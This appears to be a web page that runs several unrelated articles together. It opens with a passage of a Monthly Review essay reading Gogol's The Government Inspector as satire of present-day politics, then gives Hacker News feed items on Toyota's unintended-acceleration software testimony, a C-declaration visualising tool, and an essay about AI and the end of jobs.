In our own times, truth, justice, and temperance—virtues Plato said political systems needed to enshrine to call themselves “good”—have been shamelessly manipulated, and scamming is normalized, a built-in feature of modern “democracy,” wallpapered on the corridors of political power. Elon Musk haunted recently as a latter-day government inspector, another character who smacks of a Gogolian gag: a shameless imposter pulling rank, beyond the pale, maybe beyond any laughing matter. Gogol probably would have seen it otherwise. He always tried to laugh this stuff off. He’d laugh nowadays, too, doubtless. Searching online for his name, I’m asked: Do I mean “Google”? No, I don’t mean Google.

Gogol freely acknowledged that his friend Alexander Pushkin provided the initial spark for The Government Inspector . “Do me a favor,” Gogol wrote the poet on October 7, 1835: “send me some subject, comical or not, but an authentically Russian anecdote. My hand is itching to write a comedy…give me a plot and I’ll knock off a comedy in five acts—I promise, funnier than hell. For God’s sake, do it. My mind and stomach are both famished.” Though, per custom, Gogol might have nabbed the tale without Pushkin’s realization. “One has to be very wary with this Ukrainian,” Pushkin later cautioned. “He robs me before I have time to shout for help.”

Starting in the early 18th century, government inspectors roamed Russia with the intent of rooting out small-town corruption and mismanagement. Saint Petersburg officials were dispatched to the provinces, journeying incognito across vast distances to isolated backwaters that were usually forewarned of the inspector’s coming. But nobody knew when exactly they would arrive, often not even the inspectors themselves. Over the years, rumors became rife of lone travelers who would try to pass themselves off as government officials, if only to be wined and dined by unsuspecting locals. In 1833, when visiting Orenburg province to research The History of Pugachev , about the Cossack insurrections that almost unseated Catherine the Great, Pushkin himself had been mistaken for a Petersburg official doing his rounds.

Pushkin’s experience was reappropriated by Gogol who touched it up, embroidering it with his own unique slapstick magic, and transformed it into one of Russia’s best-known comic pieces—funnier than hell, as he said. He never gives a name to the town where the action takes place; we know, though, it’s really somewhere, outside the Russian capital, miles away from the glitz of Petersburg, a generic small town that Gogol knew firsthand from his upbringing. “Why, you might gallop three years away from here,” someone says in The Government Inspector , “and still end up nowhere.” In the play, the town’s mayor, an old fogey who’s a little bent, gets wind of the visiting government inspector, expected to arrive any day from the capital. The announcement causes great commotion—everybody knows the district isn’t the most honest.

Gogol’s cast comprises the town’s cronies—the mayor, the judge, the school inspector, the chief of police, the doctor, warden of charities, postmaster, and a few lackies, together with the mayor’s wife and daughter. The mayor frets that shopkeepers and townsfolk will spill the beans on his administration. “They’ve been complaining that I squeeze them hard,” he says, “but as God is my witness if I do sometimes accept a little trifle from them I do it without any ill feeling.” The judge warns everybody that “you better watch out, or we’ll find ourselves in hot water!” Thus the stage is set for the inspector’s imminent arrival, and town leaders cover their backs, gloss over the bribes and petty extortions, sweep the streets, and try to stay sober. “Damn it,” says the mayor, “if the inspector asks why the hospital chapel—you know, the one for which funds were allocated five years ago—hasn’t been built yet, don’t forget to say that we did start it, but it burned down.”

After a while, somebody notices that the young man from the city, along with his manservant, have been running up a hefty tab at the inn. Pretty soon minds begin to run away with themselves. “You know that young gent,” one yokel says, “is an official from Petersburg. His name is Ivan Aleksandrovich Khlestakov. There’s something fishy about the way he’s been behaving. Been here for a fortnight and never sets foot outside the place, has everything charged to his account and won’t pay a copeck for anything.”

And so Gogol’s play advances in vaudeville fashion with a case of mistaken identity, as Khlestakov, a featherbrained, cash-strapped wastrel from Petersburg on his way to cadge money off his father’s estate, becomes the said government inspector. (In Ronald Wilks’s Penguin translation, the script is refreshingly idiomatic and slangy, true to Gogol’s, underscoring the genius of his wordplay and ear for the language spoken by real people.)

When Khlestakov first encounters the town officials cozying up to him, buttering him up, he’s oblivious to what’s happening. It’s his foot servant, Osip, more intelligent than his master, who cottons on, and warns Khlestakov not to milk it for too long before they’re outed as imposters. Get out while the going is good. But Khlestakov has none of it. Hilarious scenes unfold. A spread is put on for him, and he’s invited to lodge at the mayor’s house, shown around the charitable institutions and schools. Bemused, he meets personally one-on-one each town official, touching them up for a few hundred rubles here and there, for which they gladly oblige. Before long, Khlestakov grows into the role, begins to believe in his own lofty status, starts laying it on thick about his importance as a departmental head, honored and respected by the Tsar, hobnobbing with his “old pal” Pushkin.

The townsfolk are enamored by such an illustrious personage; and, like Chichikov, that other imposter from Dead Souls (a tale, incidentally, also sparked by Pushkin), fawn over him, anointing their own egos in the process. Khlestakov winds up the mayor’s wife, flirts with her, then glibly proposes to their daughter Marya, playing and preying on everyone’s delusions of grandeur. The mayor tells the town’s storekeepers, who’ve hitherto been griping about the squeeze the mayor put on them: “I’m not marrying my daughter off to some little jerk, but to a man of the likes of whom the world has never seen, a man who can do anything. Anything!”

Sounding a little like someone in office we know, wreaking revenge on all and sundry who’ve crossed him, “I’ll teach those sneaky bastards complaining about me, eh,” the mayor says, “I want the names of all those who’ve been moaning about me—especially those filthy scribblers who concocted petitions for them.” He calls a meeting of the town officials, announcing to everyone how his luck has changed, how from now on he and his wife will be installing themselves in a plush Petersburg pad, mingling in higher circles, with aristocrats, and that his new son-in-law will ensure he’s promoted to some important post. The mayor’s wife is already bragging about her husband becoming a general, grumbling that “the air here is, I must say, so very provincial ” (Gogol’s emphasis). Meanwhile, Khlestakov and Osip split the scene, supposedly exit on business, vowing to return the next day, or the day after that—but we know it’s not true.

The fantasy world Gogol creates comes crashing down when the postmaster rushes in with an opened letter in his hand, written by Khlestakov, addressed to a journalist friend of his in Petersburg. It was about to be dispatched special delivery, yet the postmaster couldn’t resist peeking inside it, breaking the seal, and reading its contents. “I was driven by some supernatural force,” he says. “I was about to send it off, but curiosity the likes of which I’d never felt before got the better of me. ‘I can’t open it, I can’t’, I thought, but then something kept tugging at me, drawing me on.”

The mayor is livid: “How dare you open the private letter of such a powerful personage!” “Well, that’s just it,” the postmaster says, “he’s not powerful at all and he’s not even a personage! He’s a complete nobody, just a little squirt.” Reading the letter aloud, the postmaster says: “the whole town took me for some governor general…. You’d die laughing—they’re all such dreadful freaks. Now, those little sketches you write for the magazine—why not stick them in? Take the mayor, for example. He’s as stupid as a mule.”

It all hits like a bombshell. “Well,” says the mayor, head in hands, “he’s finished me off! I’m a broken man, played out. All I can see are pigs’ snouts everywhere instead of faces.” Everyone is bewildered. Then the judge wonders, asking a question that is perhaps the whole point of Gogol’s play, maybe even the whole problem with contemporary politics: “ How did it happen, gentlemen? How could we have blundered like that?

“See how your mayor’s been duped,” says the mayor to himself. “Fool! Imbecile! Blockhead! [ Shaking his fist at himself. ] You thick-nosed idiot—taking that little squirt, that bloody pipsqueak for a powerful personage.”

I can just picture him now, bowling along to the sound of jingling bells, letting the whole world know about it! And if that’s not bad enough being a laughingstock already, along will come some hack, some miserable pen-pusher and stick us all in a comedy…. Ooh—you lot! I’d like to get my hands on all you blasted scribblers. Ooh, you lousy hacks, damned liberals, devil’s spawn! That’s what really hurts! The scribbler won’t give a rap for rank or reputation as long as the audience grins from ear to ear and claps his hands. [ Stamps furiously on floor. ] What are you laughing at? You’re laughing at yourselves, that’s what!

These lines were Gogol’s coup de grace , words that in the performance of The Government Inspector the mayor turns to the audience, addressing their laughter. It was Gogol’s killer ploy. As audiences watched a tale of corruption and misdeeds in office, they found themselves implicated in the plot, bearing the brunt of Gogol’s jokes, of his lampooning and pillorying. In laughing at the mayor, they were laughing at themselves, and this, for Gogol, was the crux of his comic theater: the shock of recognition .

Gogol’s famous finale act is his so-called “Dumb” (or “Mute”) scene. A gendarme enters the stage, just as the mayor has taunted the audience, proclaiming the following news: “The official who has just arrived from St. Petersburg by Imperial command requires your presence at the inn immediately. [ These words strike like a thunderbolt. All the ladies cry out at once in astonishment. The whole group suddenly changes position and stands as if turned to stone. ]” Each actor assumes a speechless pose, arms stretched out, heads thrown back; others squat on the floor or stand toward each other, mouths gaping, eyes popping, transformed into pillars. “The petrified group maintains this position for about a minute and a half. ”

Laughing and thinking

When Gogol wrote his notes on The Government Inspector , his “after-thoughts” upon fleeing Russia in 1837, he’d corrected several scenes, added and subtracted from his original text. He’d especially reworked Act V, disappointed by how poorly the dénouement had been interpreted in earlier performances, rectifying it with instructions about its proper enactment. He didn’t like the over-the-top vaudeville nature of the acting and scripting, either. He wanted a comedy that was genuinely funny, yet somehow deep, its laughter profound—it wasn’t mere amusement he wanted to create, something entertaining only for an evening out.

Gogol was clear that the play shouldn’t be over-acted. “Beware of falling into caricature,” he says. It was message for his actors. “The actor,” he says,

must make a special effort to be more modest, unpretentious, and dignified than the character he is playing. The less the actor thinks about being funny or making the audience laugh, the more the comic elements of his part will come through. The ridiculous will emerge spontaneously through the very seriousness with which each character is occupied with his own affairs…Only the audience, from its detached position, can perceive the vanity of their concerns. But they themselves [the actors] do not joke at all and have no inkling that anybody is laughing at them.

The character of Khlestakov, the bogus inspector, bothered Gogol most of all. While an evident mediocrity, frivolous and deceitful, Khlestakov is also cunning and malicious. There is, in short, something sinister about him. To create him solely as a laughingstock is to miss the point, miss the menace of a character who isn’t only a buffoon and clown. He is that, too, of course. And yet, says Gogol, Khlestakov “doesn’t bluff. He forgets he’s lying and believes what he says. He has become expansive…people are listening to him…. He’s sincere, completely frank, and in telling lies shows the stuff he’s made of…he lies with calculation, like a theatrical braggard; he lies with feeling; his eyes convey the pleasure it gives him.” Khlestakov is a “man who tells cock-and-bull stories enthusiastically, with gusto, who’s unaware how words spring from his lips, who, at the very moment he’s lying, has absolutely no idea that he is doing so. He merely relates his perpetual fantasies, what he would like to achieve, as if these fantasies of his imagination had already become reality.” It sounds disturbingly like somebody we know, the head of a large country vowing to make it great again.

Gogol says he chose an anonymous town for the play, a town of the imagination, largely because dishonesty and double-talk is everywhere in human society. The real point here is the consummate ease with which political systems can be hijacked and debased, replaced by a pretense wherein higher up officials, as well as lower down minions, feather their own nests, line their pockets with favors and finance. Scamming becomes institutionalized at all levels, the functioning logic of the system itself, so widespread that it gets embedded in everybody’s minds. Honesty gets you nowhere. The only honorable character, says Gogol, is laughter . Indeed, laughter for Gogol is the sole positive character in the play. But then again, whose laughter? What are you laughing at? Well, you’re laughing at yourselves, that’s what—or else you should be. “Let us banish corruption from our souls!” says Gogol. “There exists a weapon, a scourge, that can drive it out. Laughter, my worthy countrymen! Laughter, which our base passions fear so! Laughter, created so that we might deride whatever dishonors the true beauty of humans.”

Could there ever be real laughter and the shock of recognition again in theater? Is there still some way art the likes of which Gogol wrote can be performed to help transform how people think about politics and our political leaders—about ourselves? Is there a point in our lives when the shock of recognition signals enough is enough and that this absurdity on stage, in our political life, has to stop, that we’ve been duped by imposters for long enough now, that it’s high time we laugh at them and laugh at ourselves for believing them, for applauding their antics in mass adulation. Maybe what Gogolian theater can bring us isn’t just the shock of recognition but misrecognition : those lies aren’t going to reach their ideological target anymore; we can fend them off by not recognizing ourselves in them.

In this respect, misrecognition becomes vital, the reluctance of spectators to identify with the spectacle being watched. There’s no complicity between the two, no pity or sentimentality, no anger or disgust—only a sort of distancing that counteracts any possible emotional empathy audiences develop with the characters. Gogol never lets this happen. His scenes move too rapidly, never let anybody reflect. There are no heroes in his plays, no moralizing, no dichotomy between good guys and bad guys, between the deviants and the virtuous; rarely is there a moment on stage when sanity prevails, when everybody seems on solid ground.

Gogol wants laughter to prompt a thinking response from his audiences, laughter that fosters not hot feeling outburst but critical interpretation. Maybe this critical interpretation comes afterward, after the audiences go home. Gogol was a fan of Aristophanes’ drama yet sought no classical ideal of theater, where repressed energy erupts into what Aristotle called catharsis —a stirring emotional release, usually at the play’s finale. That all sounds like the din of demagogic rage. Gogol wants to snub any hyperbolic triumph. In laughing at the cast, and in laughing at oneself, a public might cease to identify with what they’re watching. They might find a critical position on the outside and not get taken in on the inside. It’s precisely this critical distance that needs to be carried over into real life, where it might promote a more resilient human value.

Rescripting Gogol

In 2025, one can’t help but think of a rescripting of The Government Inspector . The daily news makes ugly reading and yearns to bring Gogol’s play back to life—daily news about DOGE and its shenanigans, about its falsehoods and scams. Muskesque government inspectors slash and burn federal coffers, ax workforces, eliminate social security agencies and overseas development organizations, seize control of technology across government agencies, dismantle regulatory frameworks, close down helplines and the Financial Protection Bureau, stripping away safeguards against ordinary people getting ripped off, even ruined. Even the name “Department of Government Efficiency” sounds like a nineteenth-century Gogolian throwback! Remember how he starts his story The Overcoat , “in one of the government departments, but perhaps I better not say exactly which one. For no one’s touchier than people in government departments, or, in short, any kind of official body…. And so, to avoid any further unpleasantness, we had better call the department in question a certain department ” (Gogol’s emphases).

When I say “rescripting” of Gogol, I mean role reversal. What if the whole logic of Gogol’s play is reversed ? What if the townsfolk, the public, were honest, doing their jobs, maybe dragging their feet a bit here and there, making errors at the workplace and in life—but basically upright and conscientious. Instead, it’s the government inspectors of a certain department who are corrupt, who’re on the make, who’re the real imposters. They have no real mandate; it’s a sham that they’re able to wield power. Everybody they hunt down is legitimately scarred, running around and wanting to show everything in the best light, even while privately knowing they’ve nothing to hide. The arbitrariness of the system comes from the top, from the alleged government inspectors, from “officials” without official credentials, their edict ideologically driven to root out political opposition. Wastage and efficiency are ruses to cost-cut and dismantle the public sector, that as they turn a blind eye to corporate welfare. (Elon Musk’s business empire—Tesla, SpaceX, etc.—has sucked up thirty-eight billion dollars of government funding in one shape or another, through contracts, loans, subsidies, and tax credits.)

“Rescripting” means retitling Gogol’s play The Citizen Inspector . A message resounds through the corridors of a certain department , that an audit is going to take place, a people’s audit, that a representative of the people, of the tax paying public, “The Citizen Inspector,” will be arriving anytime, soon, to monitor corruption and to root out the inefficiency of DOGE “efficiency.” They’ll be delving into the books and accounts of this faraway unaccountable office buried in the bowels of this certain Washington department. On behalf of the people, the Citizen Inspector demands absolute transparency and cooperation.

One suspects that the comic antics of the play would derive from the natural idiocy of the cast involved, by its bumpkin nature, that DOGE is running around not really knowing what they’re doing—or else maybe they know full well what they’re doing and it’s precisely that which is the sick joke, a gag Gogol could tell well. Laugher would arise from the serious absurdity they proclaim. In the end, we can laugh aloud at the cast and laugh at ourselves for letting ourselves be taken in by this cast. (Was anybody really taken in?) We’ll die laughing at such dreadful freaks. At the play’s finale, they’ll be another dumb scene. A petrified group of “officials” maintains its position for a minute and a half; a gendarme has just stormed in announcing the illegality of their activities, and that all are summoned before the People’s Court to be tried for crimes against humanity…


Andy Merrifield is an independent scholar and the author of numerous books, including Dialectical Urbanism (Monthly Review Press, 2002), Magical Marxism (Pluto Press, 2011), and, most recently, The Amateur (Verso Books, 2018), What We Talk About When We Talk About Cities (and Love) (OR Books, 2018), and (Monthly Review Press, 2020). He can be contacted at andymerrifield10@gmail.com .

Monthly Review began publication in New York City in May 1949. The first issue featured the lead article “Why Socialism?” by Albert Einstein. From the beginning, Monthly Review spoke for a critical but spirited socialism, independent of any political organization. In an era of Cold War repression, the magazine published pioneering analyses of political economy, imperialism, and Third World struggles, drawing on the rich legacy of Marxist thought without being bound to any narrow view or party line. The McCarthy-led inquisition targeted MR‘s original editors, Paul Sweezy and Leo Huberman, who fought back successfully. Against these odds, the magazine’s readership and influence grew steadily, and in 1952, Monthly Review Press published its first title, I. F. Stone’s Hidden History of the Korean War.

In the subsequent 1960s upsurge against capitalism, imperialism, and inequality, MR played a global role. A generation of activists received no small part of their education as subscribers to the magazine and readers of Monthly Review Press books. In the decades since, with the rise of neoliberalism and successive capitalist crises, MR has kept its commitment both to radical critique and to the building of a just economy and society.

For a more detailed look at MR‘s history, interested readers may consult this essay , published in 1999 for the magazine’s fiftieth anniversary.

Monthly Review can show an impressive record of committed left publishing. Through the thick and thin of American politics it has continued to carry the standard of thoughtful and critical radicalism. International in scope, it has combined the best of the old left with creative insights of new social movements.”

—Sheila Rowbotham

In its nearly seventy-year history, MR has had only six editors. The original editors were economist Paul M. Sweezy and journalist and historian Leo Huberman . After Huberman’s death in 1968, Harry Magdoff joined Sweezy as coeditor, and together they led the magazine for the next three decades. Ellen Meiksins Wood served as editor from 1997 to 2000, when John Bellamy Foster and Robert W. McChesney took over primary editorial duties. Founding editor Paul M. Sweezy died in 2004, and Harry Magdoff in 2006.

TODAY — Under the current editorial committee, led by John Bellamy Foster, the magazine continues its long tradition of analyzing what is new together with the equally vital task of seeing the longer process. That tradition, as summarized by Paul Sweezy, is to see “the present as history.” In 2006, MR began a daily web magazine, MRzine , which in 2017 was migrated to a new project, MR Online , a forum for collaboration and communication between radical activists, writers, and scholars around the world.

Revenues from subscriptions and book sales have always fallen short of the demands on MR‘s resources. The contributions and gifts of a global community of several thousand people sustain MR. Today the magazine makes all new articles available for free online, and MR Online attracts a substantial and growing readership. If you have found our website of value, please consider subscribing to the magazine or, better yet, becoming an Associate .

Donate to Monthly Review

Toyota Unintended Acceleration and the Big Bowl of "Spaghetti" Code (2013)

Hacker News
www.safetyresearch.net
2025-12-08 00:31:12
Comments...
Original Article

November 7, 2013

Last month, Toyota hastily settled an Unintended Acceleration lawsuit – hours after an Oklahoma jury determined that the automaker acted with “reckless disregard,” and delivered a $3 million verdict to the plaintiffs – but before the jury could determine punitive damages.

What did the jury hear that constituted such a gross neglect of Toyota’s due care obligations? The testimony of two plaintiff’s experts in software design and the design process gives some eye-popping clues. After reviewing Toyota’s software engineering process and the source code for the 2005 Toyota Camry, both concluded that the system was defective and dangerous, riddled with bugs and gaps in its failsafes that led to the root cause of the crash.

Bookout and Schwarz v. Toyota emanated from a September 2007 UA event that caused a fatal crash. Jean Bookout and her friend and passenger Barbara Schwarz were exiting Interstate Highway 69 in Oklahoma, when she lost throttle control of her 2005 Camry. When the service brakes would not stop her speeding sedan, she threw the parking brake, leaving a 150-foot skid mark from right rear tire, and a 25-foot skid mark from the left. The Camry, however, continued speeding down the ramp and across the road at the bottom, crashing into an embankment. Schwarz died of her injuries; Bookout spent five months recovering from head and back injuries.

Attorney Graham Esdale, of Beasley Allen, who represented the plaintiffs is the first to say that the Bookout verdict – in some measure – rested on those two black skid marks scoring the off- ramp.

“Toyota just couldn’t explain those away,” Esdale said. “The skid marks showed that she was braking.”

The jury was very attentive, despite the technical discussions that dominated the testimony. After the jury learned that the case had been settled, jurors asked Judge Patricia Parrish if they could stay and discuss the trial. A dozen jurors, Judge Parrish, and the plaintiff’s lawyers discussed it. Esdale says that it was obvious from that conversation that the jury was poised to punish Toyota for its conduct and cover-up.

Skid marks notwithstanding, two of the plaintiffs’ software experts, Phillip Koopman, and Michael Barr, provided fascinating insights into the myriad problems with Toyota’s software development process and its source code – possible bit flips, task deaths that would disable the failsafes, memory corruption, single-point failures, inadequate protections against stack overflow and buffer overflow, single-fault containment regions, thousands of global variables. The list of deficiencies in process and product was lengthy.

Michael Barr, a well-respected embedded software specialist, spent more than 20 months reviewing Toyota’s source code at one of five cubicles in a hotel-sized room, supervised by security guards, who ensured that entrants brought no paper in or out, and wore no belts or watches. Barr testified about the specifics of Toyota’s source code, based on his 800-page report. Phillip Koopman, a Carnegie Mellon University professor in computer engineering, a safety critical embedded systems specialist, authored a textbook, Better Embedded System Software, and performs private industry embedded software design reviews – including in the automotive industry – testified about Toyota’s engineering safety process. Both used a programmer’s derisive term for what they saw: spaghetti code – badly written and badly structured source code.

Barr testified:

There are a large number of functions that are overly complex. By the standard industry metrics some of them are untestable, meaning that it is so complicated a recipe that there is no way to develop a reliable test suite or test methodology to test all the possible things that can happen in it. Some of them are even so complex that they are what is called unmaintainable, which means that if you go in to fix a bug or to make a change, you’re likely to create a new bug in the process. Just because your car has the latest version of the firmware — that is what we call embedded software — doesn’t mean it is safer necessarily than the older one….And that conclusion is that the failsafes are inadequate. The failsafes that they have contain defects or gaps. But on the whole, the safety architecture is a house of cards. It is possible for a large percentage of the failsafes to be disabled at the same time that the throttle control is lost.

Even a Toyota programmer described the engine control application as “spaghetti-like” in an October 2007 document Barr read into his testimony.

Koopman was highly critical of Toyota’s computer engineering process. The accepted, albeit voluntary, industry coding standards were first set by Motor Industry Software Reliability Association (MISRA) in 1995. Accompanying these rules is an industry metric, which equates broken rules with the introduction of a number of software bugs: For every 30 rule violations, you can expect on average three minor bugs and one major bug. Toyota made a critical mistake in declining to follow those standards, he said.

When NASA software engineers evaluated parts of Toyota’s source code during their NHTSA contracted review in 2010, they checked 35 of the MISRA-C rules against the parts of the Toyota source to which they had access and found 7,134 violations. Barr checked the source code against MISRA’s 2004 edition and found 81,514 violations.

Toyota substituted its own process, which had little overlap with the industry standard. Even so, Toyota’s programmers often broke their own rules. And they failed to keep adequate track of their departures from those rules – and the justification for doing so, which is also standard practice. Koopman testified that if safety is not baked into the recipe in the process of creating the product, it cannot be added later.

“You have to exercise great care when you’re doing safety critical software. You can’t just wing it. And Toyota exercised some care, but they did not reach the level of accepted practice in how you need to design safety critical systems,” he said.

One of the biggest safety standards Toyota broke was allowing single point failures within its system. (Single point failure refers to a piece of hardware or software that has complete control over whether a system is safe or not—such as a single-engine airplane.) Koopman testified:

“If there is a single point of failure, by every safety standard I have ever seen, it is by definition unsafe, and no amount of countermeasures, no amount of failsafes will fix that. They will reduce how often it happens, but it won’t completely fix it. Because we have millions of vehicles out there, it will find a way to fail that you didn’t think of, and it will fail.”

Other egregious deviations from standard practice were the number of global variables in the system. (A variable is a location in memory that has a number in it. A global variable is any piece of software anywhere in the system can get to that number and read it or write it.) The academic standard is zero. Toyota had more than 10,000 global variables.

“And in practice, five, ten, okay, fine. 10,000, no, we’re done. It is not safe, and I don’t need to see all 10,000 global variables to know that that is a problem,” Koopman testified.

Other important design process errors Barr and Koopman identified were an absence of a peer code review, and Toyota’s failure to check the source code of its second CPU, supplied by Denso —even as executives assured Congress and NHTSA that the cause of UA couldn’t be in the engine software.

Barr testified to some of the vehicle behavior malfunctions caused by the death of tasks within the CPU, and concluded that Bookout’s UA was more likely than not caused by the death of a redacted-name task, called Task X at trial. Barr dubbed it “the kitchen-sink” task, because it controlled a lot of the vehicle’s functions, including throttle control; the cruise control – turning it on, maintain the speed and turning it off – and many of the failsafes on the main CPU.

He was critical of Toyota watchdog supervisor – software to detect the death of a task — design. He testified that Toyota’s watchdog supervisor “is incapable of ever detecting the death of a major task. That’s its whole job. It doesn’t do it. It’s not designed to do it.”

Instead, Toyota designed it to monitor CPU overload, and, Barr testified: “it doesn’t even do that right. CPU overload is when there’s too much work in a burst, a period of time to do all the tasks. If that happens for too long, the car can become dangerous because tasks not getting to use the CPU is like temporarily tasks dying.”

Barr also testified that Toyota’s software threw away error codes from the operating system, ignoring codes identifying a problem with a task. At trial, Barr said:

And task death, although I focused a lot of task X here, because it does so much and it does throttle control and it does failsafe, it’s pretty important, but there is [redacted] tasks and they can die in different combinations. It could be task 3 and task X, or task 3and task 7 and task X, or just task 9. And those can cause an unpredictable range of vehicle misbehaviors. It turns out that unintended acceleration is just the most dangerous thing your car can do when it malfunctions.

Even if you were to dismiss their conclusions as nothing but paid-for expert testimony, Koopman and Barr’s assessment about software errors as a possible UA root cause go a long way in explaining so much: how Toyota’s system could fail and leave no trace; why we are still seeing UAs in late model Toyota vehicles and why Toyota can’t seem to fix it with floor mat and pedal recalls; how it could get away with hiding some of the root causes of UA events for so long.

Their descriptions of the incredible complexity of Toyota’s software also explain why NHTSA has reacted the way it has and why NASA never found a flaw it could connect to a Toyota’s engine going to a wide open throttle, ignoring the driver’s commands to stop and not set a diagnostic trouble code. For one, Barr testified, the NASA engineers were time limited, and did not have access to all of the source code. They relied on Toyota’s representations – and in some cases, Toyota misled NASA. For example, NASA was under the false belief that Toyota had designed in hardware bit flip protections called Error Detection and Correction Codes, (EDAC). The 2005 Camry for example did not have EDAC, Barr testified, but in an email Toyota told NASA that it did. At trial he said:

NASA didn’t know that that wasn’t there. It wasn’t there in the 2005 Camry. And so if the bit-flip occurred, there would be no hardware mechanism to find it. And if it occurred in a critical value that was not mirrored, there would be no software protections against it. So the conclusion here is that there are critical variables in which bits could flip.

Their testimony explains why it would be near impossible for NHTSA to ever pin an electronic failure on a problem buried in software. NHTSA didn’t even have any software engineers on ODI’s staff during the myriad Toyota UA investigations. They have no real expertise on the complexities that actually underpin all of the safety-critical vehicle functions of today’s cars. It’s as if ODI engineers are investigating with an abacus, a chisel and a stone tablet. One begins to understand the agency’s stubborn doubling, tripling, quadrupaling down on floor mats and old ladies as explanations for UA events.

But even if NHTSA did have this expertise, the software piece is so complex ODI would never have the time or budget to assess an automaker’s source code. This is why we keep harping on the need for NHTSA to write a functional safety regulation – under its own steam or Congressional mandate.

We are posting preliminary drafts of Koopman’s ( part 1 and part 2 ) and Barr’s trial testimony , along with Barr’s slides – long, but well worth a read for anyone interested in understanding more about embedded software systems in automobiles and how not to design one; where NHTSA went wrong: and the unbelievably shaky software at the foundation of Toyota’s electronic architecture.

Normally, one associates a company’s desire to shield trade secrets with the protection of something valuable. That something, one presumes, is the technology itself — the secret recipe a company uses in making its product. Rather than protecting the automotive equivalent of formula for Coke, the testimony of Koopman and Barr suggest that Toyota really wanted to hide was its formula for disaster. Consider the contents of a September 2007 email among Toyota employees:

“‘In truth technology such as failsafe is not part of the Toyota’s engineering division’s DNA,’ ” Barr read in court. “And it continues, ‘But isn’t it good that it is recognized as one of the major strengths of Toyota and its system controls industry.’ And then I highlighted also the portion that says, ‘Continuing on as is would not be a good thing.’”

Show HN: Cdecl-dump - represent C declarations visually

Hacker News
github.com
2025-12-08 00:26:04
Comments...
Original Article

Skip to content

Navigation Menu

Search code, repositories, users, issues, pull requests...

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Sign up

Appearance settings

Repository files navigation

cdecl-dump

Dump C declarations visually on the command line.

How to use

./cdecl-dump "int a"
./cdecl-dump "void f(int a)"
./cdecl-dump "unsigned char *const *arr[20][30]"
./cdecl-dump "int (*const fp[20])(void)"

Building

  • ./build.sh produces a debug build with additional tracing of the parsing stages
  • DEBUG=0 ./build.sh produces an optimised executable

Bugs

  • The program doesn't do strict validation of the declarator in certain cases. Unlike the rules of C, it allows functions to return arrays and arrays to have functions as their elements.
  • Only built-in types are supported. For example, size_t or uint64_t will not be accepted.

Screenshot

alt tag

How it works

The program uses a hand-written, table-driven lexer and parser.

The era of jobs is ending

Hacker News
www.thepavement.xyz
2025-12-08 00:23:45
Comments...
Original Article

Morning again.

The alarm pleads. The phone lights up. For a second you’re no one. Then the memories rush in: the commute, the plain desk, the boss’s irritating face hovering in the back of your mind.

You do the math you always do, have to do:
Eight, nine hours a day.
Forty, fifty years.
If you’re lucky, you get a little retirement at the end before your body disintegrates.

Yet quietly, another life is booting in the background.

(Sorry for not writing much recently. My job wore me down. But this essay is a long one and took a lot of work. Enjoy, maybe?)

Let’s get the tech bit out of the way, because it’s not the main point, but it is the accelerant.

Most people met “AI” in late 2022 or something, poked ChatGPT once like it was a digital fortune cookie, got a mediocre haiku about their cat, and decided: ah yes, cute toy, overhyped, wake me when it’s Skynet . Then they went back to their inbox rituals.

They have no idea what’s happening now.

They haven’t seen the latest models that quietly chew through documents, write code, design websites, summarize legal contracts, and generate decent strategy decks faster than a middle manager can clear their throat.

They haven’t seen a model hold a complex conversation, remember context, suggest workflows, generate visuals, write scripts, and debug itself in one continuous flow. They haven’t watched it do in twenty minutes what a whole team used to bill a week for.

They haven’t looked closely at the humanoid robots on factory floors and in warehouses—still a bit awkward, still uncanny, but moving with that unsettling, patient inevitability. First they lift bins, then they do the “unsafe” tasks, then they do the “boring” tasks, then they do the tasks that were your job description last year.

We don’t know what’s in one year.
We have absolutely no idea what’s in five.

Anyone who talks with certainty about 2030 is either lying or selling something.

But this much is obvious:
The system we built around jobs—as moral duty, as identity, as the only path to survival—is about to collide with machines that can perform huge chunks of that “duty” without sleep, without boredom, without unions, without pensions.

You can treat this as a threat.
Or as a once-in-a-civilization chance to get out of a religion that has been breaking us, grinding us down, destroying us for centuries.

I don’t mean “work.”
Humans will always work. We will always make, fix, care, explore, tinker, and obsess over stupid little projects like they’re the axis of the universe. Work is older than the market. Work is older than money.

I mean jobs . The institutionalized bargain that says:

Give us your waking hours, your attention, your nervous system.
We will give you conditional access to food, shelter, and the right to not die in the street.

We’ve normalised this so completely that critiquing it sounds childish.
“Grow up. Everyone has to work.”
(Translation: everyone has to perform “usefulness” inside this very specific economic script or be treated as a malfunction.)

Jobs are not just time. They are an architecture for the soul .

  • Socially, they determine who counts and who disappears. “What do you do?” is the password to polite existence. No job, no answer.

  • Psychologically, they wire identity: you are a marketer, a teacher, a nurse, a whatever-the-hell “product evangelist” is. Lose the job and watch people fall apart because the noun they attached to “I am…” vanished.

  • Spiritually, they define virtue: a good person is a hardworking person. An early-rising, inbox-zero, overtime-accepting human sacrifice.

Max Weber wrote about the “Protestant work ethic” and the “iron cage” of rationalized labor — the idea that worldly success became proof of inner worth, and soon the system ran on anxiety instead of faith. The cage is now global. The bars are job contracts.

You’re not allowed to just exist.

You have to justify your existence to a market that doesn’t know you, doesn’t love you, and doesn’t even particularly like you. It just… measures.

Yes. Humans used to work fields until their backs broke. They mined coal. They fished freezing seas. They fought wars by hand.

And? AND?!?

“People suffered before” is not an argument for preserving suffering now. That’s not history, that’s sadism with footnotes.

We are a technological species that launches telescopes beyond Pluto, runs simulations of galaxies, splices genomes, and builds language models that can impersonate human consciousness and soon, perhaps, surpass it.

We can automate away huge chunks of the drudgery that used to be biologically unavoidable.

And we’re still out here proudly defending the 40-hour week like it’s some sacred law of physics. Still tying healthcare, housing, and dignity to whether you can convince someone that your job should exist for another quarter.

Fuck the historical comparisons.
Evolution is not a guilt trip. If we have tools that let us live with less compulsion, we are not obliged to reenact the plow.

Try to look at your workday from the outside for a second. Not the LinkedIn story, not the “I’m so grateful to be part of this amazing team” hostage video. The actual day.

How much of it is:

  • answering emails no one needed,

  • sitting in meetings designed to prevent decisions,

  • moving numbers from one rectangle to another,

  • pretending to care about “OKRs” that will be replaced in six months,

  • reading messages that were written by someone performing their own job anxiety back at you?

David Graeber called these “bullshit jobs” — roles so devoid of real necessity that even the people doing them felt a quiet shame. The tragedy is not just inefficiency; it’s spiritual.

You wake up and spend most of your conscious time doing things that do not feel like they should exist .

You smile while slowly dissociating.
You talk about “deliverables” while your inner child is screaming into a cushion.
You drag a tired self through mass-produced days until the weekend, which is just recovery from the week.

